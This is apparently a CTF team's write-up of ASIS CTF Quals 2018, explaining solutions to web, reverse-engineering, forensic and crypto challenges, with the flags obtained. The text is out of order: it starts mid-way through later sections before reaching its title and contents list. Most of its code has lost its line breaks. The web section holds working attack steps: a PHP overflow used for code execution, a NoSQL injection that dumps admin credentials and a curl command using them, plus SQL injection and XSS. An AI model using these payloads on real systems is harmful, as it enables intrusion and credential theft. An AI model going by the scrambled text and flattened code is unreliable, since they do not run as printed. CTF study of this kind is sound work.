Then you can use `test-caindex````trashy/casync/build$ ./test-caindex ../../flag.caidx caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770 (51)b94307380cddabe9831f56f445f26c0d836b011d3cff27b9814b0cb0524718e5 (58)4ace69b7c210ddb7e675a0183a88063a5d35dcf26aa5e0050c25dde35e0c2c07 (50)383bd2a5467300dbcb4ffeaa9503f1b2df0795671995e5ce0a707436c0b47ba0 (50)...```These message will tell you the chunk file's position.For example, `caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk` is located at `flag.castr/caf4/caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk`
You can download all the chunk file in `flag.castr` now.
Now you can extract the flag```trashy$ sudo casync extract --store=flag.castr flag.caidx wherever_you_liketrashy$ cd wherever_you_liketrashy/wherever_you_like$ lsflag.png```
The flaf is right here.
The flag is `ASIS{Great!_y0U_CAn_g3T_7h3_casync_To0l,tHe_Content-Addressable_Data_Synchronization_T0Ol!!!}`
### Tokyo (sces60107)
Without the hint, this challenge is probably the most guessing challenge in this CTF.
We will get a binary, but it can't be recognized by any tools.
After some investigation, I got three clues from the binary.
First, there is a header at the begining of this binary. And the header begin with `KC\n`
Second, we found some interesting blocks at the end of the binary. Each block' size is 24byte. And Each block contains a printable letter.
Gather all the printable letter. It seems like you can reconstruct the flag from it in some order.
`!_Ab_ni!_as__ial_Cb_a_iSgJg_td_eKeyao_ae_spb}iIyafa{S_r__ora3atnsonnoti_faon_imn_armtdrua`
Third, this binary contains lots of null byte. However, beside the begining and the end, we can still find some non-null byte in the binary.
Totally, I found 89 blocks in the binary and each blocks is 3 byte long.what a coincidence! The length of flag is also 89.
These blocks are big-endian-encoded. Their values go from 787215 to 787479, increasing 3 by 3.
That's all the clue. Unfortunately, no one can solve this challenge. So, the host release the hint `Kyoto Cabinet`
Now we know this file is [kyoto cabinet](http://fallabs.com/kyotocabinet/) database
`KC\n` is the magic signatrure of kyoto cabinet database file.
According the header, we can also find out that it is a hashdatabase.
After understanding the mechanism of kypto cabinet database, the end of the database is the record section.
Those 3-byte-long blocks is buckets.

So, the last question is what the key is.
According to record section, we will know the key size which is 3 byte long.
After several attempts, I found out the keys of the flag go from "000" to "088"
It's time to reconstruct the flag```pythonfrom pwn import *import kyotocabinet
def haha(a): k=a.encode("hex") return int(k,16)f=open("tokyo").read()j=f[0x30:]
temp=[]flag=Falsekk=""pos=0hh=[]for i in range(len(j)): if j[i]!="\x00": if flag: kk+=j[i] else: kk=j[i] flag=True else: if flag: if kk=="\xcc\x04": pos=i break temp.append(kk) kk="" flag=False hh.append(i-3)
t=j[pos:]t2=[]flag=Falsekk=""for i in range(len(t)): if t[i]!="\x00": if flag: kk+=t[i] else: kk=t[i] flag=True else: if flag: if len(kk)<2 or kk[1]!="\xee": kk="" continue t2.append(kk[0]) kk="" flag=Falsei=map(haha,temp)
flag = "".join(t2)flag2=""for k in map(haha,temp): v=sorted(i).index(k) flag2+=flag[(v)%89]print flagprint flag2
indd=[]for i in range(89): j=str(i).rjust(3,"0") temp=kyotocabinet.hash_murmur(j) indd.append(temp%0x100007)
flag3=""for k in indd: v=sorted(indd).index(k) flag3+=flag2[(v)%89]print flag3```
This code is not a clean code. I'm sorry about that.
By the way, the flag is `ASIS{Kyoto_Cabinet___is___a_library_of_routines_for_managing_a_database_mad3_in_Japan!_!}`
## crypto
### the_early_school (shw)```pythonfrom Crypto.Util.number import *
def dec(s): if len(s) % 3 == 2: return dec(s[:-2]) + s[-2] r = '' for i in range(0, len(s), 3): r += s[i:i+2] return r
with open('FLAG.enc', 'rb') as f: s = f.read()ENC = bin(bytes_to_long(s))[2:]
for i in xrange(1 << 30): ENC = dec(ENC) a = long_to_bytes(int(ENC, 2)) if 'ASIS' in a: print a break```FLAG: `ASIS{50_S1mPl3_CryptO__4__warmup____}`
### Iran (shw and sasdf)
#### First-halfWe know how the key is generated.```pythonkey_0 = keysaz(gmpy.next_prime(r+s), gmpy.next_prime((r+s)<<2))```Let `p = next_prime(r+s)` and `q = next_prime((r+s)<<2)`, we have that `4p ≈ q` (approximately equal). Thus, `N = pq ≈ q^2/4` and `q ≈ sqrt(4*N)`. We can try to brute force `q` to get the correct `(p, q)` pair.```pythonfrom decimal import *import gmpy
getcontext().prec = 1000t = Decimal(4*N).sqrt()t = int(t)
for i in range(10000): q = t - i # or try t + i if n % q != 0: continue p = n / q assert(gmpy.is_prime(p) and gmpy.is_prime(q)) print 'p =', p print 'q =', q```After we get `p, q`, we can decrypt `enc_0` to get the first half of flag.```pythondef decrypt(a, b, m): n, e = a*b, 65537 d = gmpy.invert(e, (a-1)*(b-1)) key = RSA.construct((long(n), long(e), long(d))) dec = key.decrypt(m) return dec
print decrypt(p, q, c) # ASIS{0240093faf9ce```Also, we can get the range of `u = r+s` by```pythondef prev_prime(p): for i in xrange(1, 1<<20): if gmpy.next_prime(p-i) != p: return p-i+1 u_min = max(prev_prime(p), (prev_prime(q)/4)+1)u_max = min(p-1, q/4)``` |
# ASIS CTF Quals 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180429-asisctfquals/) of this writeup.**
- [ASIS CTF Quals 2018](#asis-ctf-quals-2018) - [Web](#web) - [Nice code (unsolved, written by bookgin)](#nice-code-unsolved-written-by-bookgin) - [Bug Flag (bookgin, sces60107)](#bug-flag-bookgin-sces60107) - [Good WAF (solved by ysc, written by bookgin)](#good-waf-solved-by-ysc-written-by-bookgin) - [Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin)](#personal-website-solved-by-sasdf-bookgin-sces60107-written-by-bookgin) - [Sharp eyes (unsolved, written by bookgin, special thanks to @herrera)](#sharp-eyes-unsolved-written-by-bookgin-special-thanks-to-herrera) - [Gameshop (unsolved)](#gameshop-unsolved) - [rev](#rev) - [Warm up (sces60107)](#warm-up-sces60107) - [baby C (sces60107)](#baby-c-sces60107) - [Echo (sces60107)](#echo-sces60107) - [Left or Right? (sces60107)](#left-or-right-sces60107) - [Density (sces60107)](#density-sces60107) - [pwn](#pwn) - [Cat (kevin47)](#cat-kevin47) - [Just_sort (kevin47)](#just_sort-kevin47) - [message_me (kevin47)](#message_me-kevin47) - [Tinypwn (kevin47)](#tinypwn-kevin47) - [PPC](#ppc) - [Neighbour (lwc)](#neighbour-lwc) - [The most Boring (how2hack)](#the-most-boring-how2hack) - [Shapiro (shw)](#shapiro-shw) - [misc](#misc) - [Plastic (sces60107)](#plastic-sces60107) - [forensic](#forensic) - [Trashy Or Classy (sces60107 bookgin)](#trashy-or-classy-sces60107-bookgin) - [first step](#first-step) - [second step](#second-step) - [third step](#third-step) - [Tokyo (sces60107)](#tokyo-sces60107) - [crypto](#crypto) - [the_early_school (shw)](#the_early_school-shw) - [Iran (shw and sasdf)](#iran-shw-and-sasdf) - [First-half](#first-half)
## Web
### Nice code (unsolved, written by bookgin)
The challenge is related to PHP code review.
The page will show the error message. All we have to do is bypass the error :)
```# substr($URL, -10) !== '/index.php'http://167.99.36.112:8080/admin/index.php# $URL == '/admin/index.php'http://167.99.36.112:8080/admin/index.php/index.php```
Next, we are redirected to http://167.99.36.112:8080/another/index.php?source .
```php $_v){ if($_k_o == $k_Jk){ $f = 1; } if($f && strlen($__dgi)>17 && $_p == 3){ $k_Jk($_v,$_k_o); //my shell :) } $_p++; }}else{ echo "noob!";}
```
Also note that the server uses PHP/5.5.9-1ubuntu4.14. Then I got stuck here for DAYS. After a few tries, I think it's impossible to bypass `===`.
However, that's not the case in PHP 5.5.9 due to [this bug](https://bugs.php.net/bug.php?id=69892). Just send a big index, and it will be casted to int. Overflow!
The rest is simple. No need to guess the content in `oshit.php`. Use system to RCE.
Postscript:
1. The bug seems to be famous(infamous) in 2015,2016 PHP CTFs. You can Google the link or bug id and you'll find lots of challenges related to this bug.2. Always pay attention to the version server used. The current release is PHP 7.2, but the challenge uses PHP 5.5.9.3. If the condition is impossible to bypass, just dig into the bug databse/source code.4. The challenge is solved by more than 20 teams, so it must be simple to find a solution.
I've learned a lot. Thanks to this challenge and PHP!
### Bug Flag (bookgin, sces60107)
Get source code by LFI `http://46.101.173.61/image?name=app.py`. It's Python2 + Flask.
```pythonfrom flask import Flask, Response, render_template, session, request, jsonify
app = Flask(__name__)app.secret_key = open('private/secret.txt').read()
flags = { 'fake1': { 'price': 125, 'coupons': ['fL@__g'], 'data': 'fake1{this_is_a_fake_flag}' }, 'fake2': { 'price': 290, 'coupons': ['fL@__g'], 'data': 'fake2{this_is_a_fake_flag}' }, 'asis': { 'price': 110, 'coupons': [], 'data': open('private/flag.txt').read() }}
@app.route('/')def main(): if session.get('credit') == None: session['credit'] = 0 session['coupons'] = [] return render_template('index.html', credit = session['credit']) #return 'Hello World!Your Credit is {}Used Coupons is {}'.format(session.get('credit'), session.get('coupons'))
@app.route('/image')def resouce(): image_name = request.args.get('name') if '/' in image_name or '..' in image_name or 'private' in image_name: return 'Access Denied' return Response(open(image_name).read(), mimetype='image/png')
@app.route('/pay', methods=['POST'])def pay(): data = request.get_json() card = data['card'] coupon = data['coupon'] if coupon.replace('=','') in session.get('coupons'): return jsonify({'result': 'the coupon is already used'}) for flag in card: if flag['count'] <= 0: return jsonify({'result':'item count must be greater than zero'}) discount = 0 for flag in card: if coupon.decode('base64').strip() in flags[flag['name']]['coupons']: discount += flag['count'] * flags[flag['name']]['price'] credit = session.get('credit') + discount for flag in card: credit -= flag['count'] * flags[flag['name']]['price'] if credit < 0: result = {'result': 'your credit not enough'} else: result = {'result': 'pay success'} result_data = [] for flag in card: result_data.append({'flag': flag['name'], 'data': flags[flag['name']]['data']}) result['data'] = result_data session['credit'] = credit session['coupons'].append(coupon.replace('=','')) return jsonify(result)
if __name__ == '__main__': app.run(host='0.0.0.0', port=80)```
The first thought comes to my mind is race condition. We can send 2 requests to manipulate the session variables. However, manipulating credit leads to nothing, because it's not dependent on executing orders. Manipulating coupons is useless, neither. Why bother using a coupon twice? Just create another session.
Then I start to dig if there is any logical error. The objective is to make the credit >= 0 when buying the real flag. After some brainstroming, I try to buy 0.01 fake flags, and it works.
Let's test Python floating-point precision.```pythonPython 2.7.14 (default, Jan 5 2018, 10:41:29) [GCC 7.2.1 20171224] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> 1.335 * 125 + 0.334 * 290 - 1.335 * 125 - 0.334 * 2901.4210854715202004e-14```
Isn't it cool and surprising? Note that `1.4210854715202004e-14` is a positive number. For the count of real flag, we can buy `0.0000000...1`.
Payload:```{"card":[{"name":"fake1","count":1.335},{"name":"fake2","count":0.334},{"name":"asis","count":0.0000000000000000000000000001}],"coupon":"ZkxAX19n"}```
Flag: `ASIS{th1@n_3xpens1ve_Fl@G}`
You can abuse Python `NaN` to solve this challenge as well. Refer to [this writeup](https://ctftime.org/writeup/9893).
### Good WAF (solved by ysc, written by bookgin)
The challenge requires us to bypass the WAF on SQL injection.
**Unintended solution:**
When the organizer is fixing the challenge by editing the source code, @ysc's web scanner found `.index.php.swp`, and we got the source code. The flag is there. That's all.
Flag: `ASIS{e279aaf1780c798e55477a7afc7b2b18}`
Never fix anything on the production server directly :)
### Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin)
Firstly dive into `http://206.189.54.119:5000/site.js`. There are 4 interesting pages:
- admin_area- get/title/1- get/text/1- get/image/1
The `admin_area` requires an authorization_token in the header, and the page will check the token. If it's incorrect, an error occurs `Authorization Failed.`
Let's fuzz the three `get` APIs. The title, text seem not injectable and only parse integer until encountering an invalid character. However, image is injectable. The `get/image/0+1` is equal to `get/image/1`. Even `get/image/eval("0+1")` works like a charm. So we got a blind injection here. The backend is Nodejs + express. I'll first guess it's using mongoDB.
Keey moving on. We try to extract the information of the backend, only to find it's in nodejs vm2. There is no `require` so we cannot RCE. Actually versatile @sasdf spent some time on trying to escape the vm, but it seems very hard. Next, we leaked `module` and find `_mongo`, `db`. It's possible to get all collection names via `db.collection.getname()`. Then, use eval and ` this["db"].credentials.find().toArray()` to dump the database. We dump `credentials` and `authorization`:
```{"_id":{"str":"5ae63ae0a86f623c83fecfb3"},"id":1,"method":"post_data","format":"username=[username]&password=[password]","activate":"false"}{"_id":{"str":"5ae63ae0a86f623c83fecfb4"},"id":2,"method":"header","format":"md5(se3cr3t|[username]|[password])","activate":"true"}
{"_id":{"str":"5ae63ae0a86f623c83fecfb1"},"id":1,"username":"administrator","password":"H4rdP@ssw0rd?"}```
Great! The payload:```shcurl 'http://206.189.54.119:5000/admin_area' -H "authorization_token:`echo -n 'se3cr3t|administrator|H4rdP@ssw0rd?' | md5sum | cut -f1 -d' '`"```
Flag: `ASIS{3c266f6ccdaaef52eb4a9ab3abc2ca70}`
Postscript: Take a look at Yashar Shahinzadeh's [writeup](https://medium.com/bugbountywriteup/mongodb-injection-asisctf-2018-quals-personal-website-write-up-web-task-115be1344ea2). In fact, the server will send back the error message through the response header `Application-Error`. There is no need to perform blind injection. We are reckless and didn't find this.
Next time, I'll carefully inspect every payload and HTTP status code/headers.
### Sharp eyes (unsolved, written by bookgin, special thanks to @herrera)
The incorrect account/password in the login page will redirect to `error/1`. Missing either account or password parameter redirects to `error/2`.
The source HTML of `error/1`.
```html<html><head><script src='/jquery-3.3.1.min.js'></script><link href='style.css' rel='stylesheet'></head><body><div class="accordion"> <dl> <dt class="active">
<script>var user = '1';</script>Invalid credentials were given.```
If the URL is `error/hello`, the js part becomes `var user = 'hello';`. Addtionally, some characters `<>",` are filtered, but it's imple to bypass using single quotes and semicolons.
It's obvious that we have to somehow make the admin trigger this XSS, but how? I guess the admin will read the log in the server, but after a few tries, we found it does't work at all. Ok, so why does variable user mean in the javascript here? Maybe we can inject the XSS payload to the username login page. but it doesn't work, neither.
What if it's not a XSS challenge? I don't think so because:
1. I note that the jQuery is loaded in the error page, but it's not used.2. There is a XSS filter.
The discovery strongly indicates this is a XSS challenge. However, why does the error code is assigned to a user variable? This does not make sense at all.
This challenge made me very frustrated. I think the XSS part is very misleading at the begninning, though it's used after logged in successfully.
It was not unitl the last 30 minutes that we found the error code is vulnerable to SQL injection. The server returns the content but the status code is 500. Thanks to @sasdf 's sharp eyes. I'm too careless to find the SQL injection vulenerability.
SQLmap will dump the database. The DB is SQlite.
Thanks to @herrera in IRC channel:> sharp eyes was sqli on /error/1, getting username/hash of the user david, logging into him, then using /error/1 as a XSS too, sending it to admin and getting the flag on flag.php
Postscript:
1. Sharp eyes: HTTP status code2. Some misleading part might be the second stage of the challenge.3. It a number of teams solve this challenge, it must be not difficult.
### Gameshop (unsolved)
Please refer to [official solution](https://blog.harold.kim/2018/04/asisctf-2018-gameshop-solution).
Acctually, we spent a few hours on MicroDB LFI. Next, I'm trying to find a way to exploit all the possible `die(__FLAG__)`. I know we may use unserialization to create `Affimojas->flag = 0`, since in PHP, `var_dump(0 == "asdasdasd"); // bool(true)` .
However, I cannot find the way to exploit unserilization. In the last 1 hours, @sasdf noted that we can manipulate the first block, but we though we didn't have much time solving this challenge.
There is a long road to go on solving web challnges:)
## rev
### Warm up (sces60107)
This is a warm up challenge. They give you a C file like this.
```C#define M 37#define q (2+M/M)#define v (q/q)#define ef ((v+q)/2)#define f (q-v-ef)#define k (8-ef)struct b{int64_t y[13];}S;int m=1811939329,N=1,t[1<<26]={2},a,*p,i,e=73421233,s,c,U=1;g(d,h){for(i=s;i<1<<25;i*=2)d=d*1LL*d%m;for(p=t;p<t+N;p+=s)for(i=s,c=1;i;i--)a=p[s]*(h?c:1LL)%m,p[s]=(m*1U+*p-a)*(h?1LL:c)%m,*p=(a*1U+*p)%m,p++,c=c*1LL*d%m;}l(){while(e/=2){N*=2;U=U*1LL*(m+1)/2%m;for(s=N;s/=2;)g(136,0);for(p=t;p<t+N;p++)*p=*p*1LL**p%m*U%m;for(s=1;s<N;s*=2)g(839354248,1);for(a=0,p=t;p<t+N;)a+=*p<<(e&1),*p++=a%10,a/=10;}}z(n){int y=3,j,c;for(j=2;j<=n;){l();for(c=2;c<=y-1;c++){l();if(y%c==0)break;}if(c==y){l();j++;}y++;}l();return y-1;}main(a, pq) char* pq;{int b=sizeof(S),y=b,j=M;l();int x[M]={b-M-sizeof((short int) a),(b>>v)+(k<<v)+ (v<<(q|ef)) + z(v+(ef<<v)),(z(k*ef)<<v)-pow(ef,f), z(( (j-ef*k)|(ef<<k>>v)/k-ef<<v)-ef),(((y+M)&b)<<(k/q+ef))-z(ef+v),((ef<<k)-v)&y,y*v+v,(ef<<(q*ef-v-(k>>ef)))*q-v,(f<<q)|(ef<<(q*f+k))-j+k,(z(z(z(z(z(v)))))*q)&(((j/q)-(ef<<v))<<q)|(j+(q|(ef<<v))),y|(q+v),(ef<<ef)-v+ef*(((j>>ef)|j)-v+ef-q+v),(z(j&(b<<ef))&(z(v<<v)<<k))-(q<<v)-q,(k<<q)+q,(z(y)>>(ef<<v))+(z(k+v))-q,(z(z(k&ef|j))&b|ef|v<<f<<q<<v&ef>>k|q<<ef<<v|k|q)+z(v<<v)+v,(ef>>v)*q*z(k-v)+z(ef<<ef&q|k)+ef,z(k<<k)&v&k|y+k-v,z(f>>ef|k>>ef|v|k)*(ef>>v)*q,(ef<<k-ef<<v>>q<<ef*ef)-j+(ef<<v),z(ef*k)*z(v<<v)+k-v,z((z(k)<<z(v)))&y|k|v,z(ef<<ef<<v<<v)/ef+z(v<<ef|k|(b>>q)&y-f)-(ef<<q)+(k-v)-ef,k<<(ef+q)/z(ef)*z(q)&z(k<<k)|v,((z(y|j>>k*ef))%ef<<z(v<<v<<v)>>q<<q|j)/ef+v,(j-ef<<ef<<v*z(v>>v<<v)>>ef)/ef%z(k<<j)+q,z(k-v)+k|z(ef<<k>>v<<f)-z(q<<q)*ef>>v,(z(ef|y&j|k)%q|j+ef<<z(k|ef)%k<<q|ef|k<<ef<<q/ef|y/ef+j>>q)&k<<j|ef+v,84,z(v*ef<<ef<<q)*q%ef<<k|k|q-v,((z(20)*v)|(f>>q)|(k<<k))/ef-(ef<<(v*q+ef))-(k<<q)+z(k)-q};while(j--){putchar(x[M-v-j]);}printf(" From ASIS With Love <3\n");return 0;}```
You can compile the code. But when executing the binary, it just hanging there. So the first step is to understand this code.It look likes you need to beautify this code. You can count on online tools, but I do this with myself.
And I found out there is a useless function `l` which seems to waste lots of time. I just deleted that function in the code and compile the code again. Eventualy, I got the flag and the first blood.
The flag is `ASIS{hi_all_w31c0m3_to_ASISCTF}`
### baby C (sces60107)
This challenge give you a obfuscated binary.
It is obvious that they use [movfuscator](https://github.com/xoreaxeaxeax/movfuscator).
It's not easy to reverse such obfuscated binary directly. You will need the help of `qira` or `gdb`. And I choose the former.
But it's still difficult to trace the program flow. After a while, I notice that there is `strncmp` in this binary.
```....text:08049557 mov eax, off_83F6170[edx*4].text:0804955E mov edx, dword_81F6110.text:08049564 mov [eax], edx.text:08049566 mov esp, off_83F6130.text:0804956C mov dword_85F61C4, offset strncmp_plt.text:08049576 mov eax, dword_83F6158.text:0804957B mov eax, off_85F61C8[eax*4].text:08049582 mov eax, [eax]...```
I utilized `qira` to trace the program and realized that part of code is doing `strncmp(input[3:],"m0vfu3c4t0r!",0xc)`
Well, the hint tell us `flag is ASIS{sha1(input[:14])}`
Now we just need the first three byte.
The next step needs patience. you have to trace down the code manually.
Then you can find this
```....text:080498C8 mov dl, byte ptr dword_804D050.text:080498CE mov edx, dword_81F5B70[edx*4].text:080498D5 mov dword_804D05C, edx.text:080498DB mov dword_804D058, 'A'.text:080498E5 mov eax, dword_804D05C.text:080498EA mov edx, dword_804D058.text:080498F0 mov ecx, 8804B21Ch...```
If you are familiar with movfuscator, you will know this part of code is trying to compare two bytes. I knew this because I read this [pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf) in order to solve this challenge.
Now we know it is try to compare the first byte of input to `A`
The rest of this chanllenge is diggin out the other code which try to compare the second and the third byte.
```....text:08049BED mov edx, 0.text:08049BF2 mov dl, byte ptr dword_804D050.text:08049BF8 mov edx, dword_81F5B70[edx*4].text:08049BFF mov dword_804D05C, edx.text:08049C05 mov dword_804D058, 'h'.text:08049C0F mov eax, dword_804D05C.text:08049C14 mov edx, dword_804D058.text:08049C1A mov ecx, 8804B21Ch....text:08049F17 mov edx, 0.text:08049F1C mov dl, byte ptr dword_804D050.text:08049F22 mov edx, dword_81F5B70[edx*4].text:08049F29 mov dword_804D05C, edx.text:08049F2F mov dword_804D058, '_'.text:08049F39 mov eax, dword_804D05C.text:08049F3E mov edx, dword_804D058.text:08049F44 mov ecx, 8804B21Ch...```
Finally, we got `input[:14]` which is `Ah_m0vfu3c4t0r`.
So the flag will be `ASIS{574a1ebc69c34903a4631820f292d11fcd41b906}`### Echo (sces60107)
You will be given a binary in this challenge. Just try to execute it.```$ ./Echo Missing argument$ ./Echo blablaError opening blabla!```
Well, you only get some error message. After using some decompile tool I found this.
``` if ( v9 <= 1 ) { fwrite("Missing argument\n", 1uLL, 0x11uLL, stderr); exit(1); } if ( !strncmp(*(const char **)(a2 + 8), "GIVEMEFLAG", 0xAuLL) ) { v46 = (signed int)sub_970(v49); }```
It seems like you should put `GIVEMEFLAG` in the first argument.
```./Echo GIVEMEFLAGaawtfwtfthisisuselessthisisuseless```
Well it just echo what you input. But `sub_970` seems interesting. I used gdb to catch return value.
Then I found this function return a string array
`>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>>>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]>[+]><<<<<<<<<<<<<<<<<<<<<<<<<<,[.,]`
Obviously, it is `brainfuck`. the last part of this brainfuck string is `[.,]` which will read your input and output to your screen.
before that there a bunch of `[+]>` . It will clean the buffer.
The goal is clear now. we need to what does it put on the buffer before it remove them.
We can rewrite the brainfuck string to fulfill our requirements
The new brainfuck string will be `>>[<+<+>>-]<<[->>+<<]>[>>>>>+<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>+<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>+<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>+<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>+<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>+<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>+<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>+<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>+<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>+<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>[<<<+<+>>>>-]<<<<[->>>>+<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>>>[<<<<+<+>>>>>-]<<<<<[->>>>>+<<<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[<+<+>>-]<<[->>+<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>>[<<+<+>>>-]<<<[->>>+<<<]>[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-]<>>[.>]`
Now the binary will output the flag `flag{_bR41n---,[>.<],+_fxxK__}`
According to the note `Note: flag{whatyoufound}, submit ASIS{sha1(whatyoufound)}`
The true flag is `ASIS{7928cc0d0f66530a42d5d3a06f94bdc24f0492ff}`### Left or Right? (sces60107)
Just try to execute the given binary.
```$ ./right_or_left What's The Secret Key?I dont knowinvalid key:( try again```
So it seems like we need a secret key?
Then I levearaged a decompiler to reverse this binary. Unfortunately, I found that it's a `rust` binary.
I am not familar with `rust`. It's difficult to me to fully reverse it. Then I found some interesting strings like `therustlanguageisfun` and `superkeymysecretkeygivemetheflagasisctfisfun`
I try to input those strings
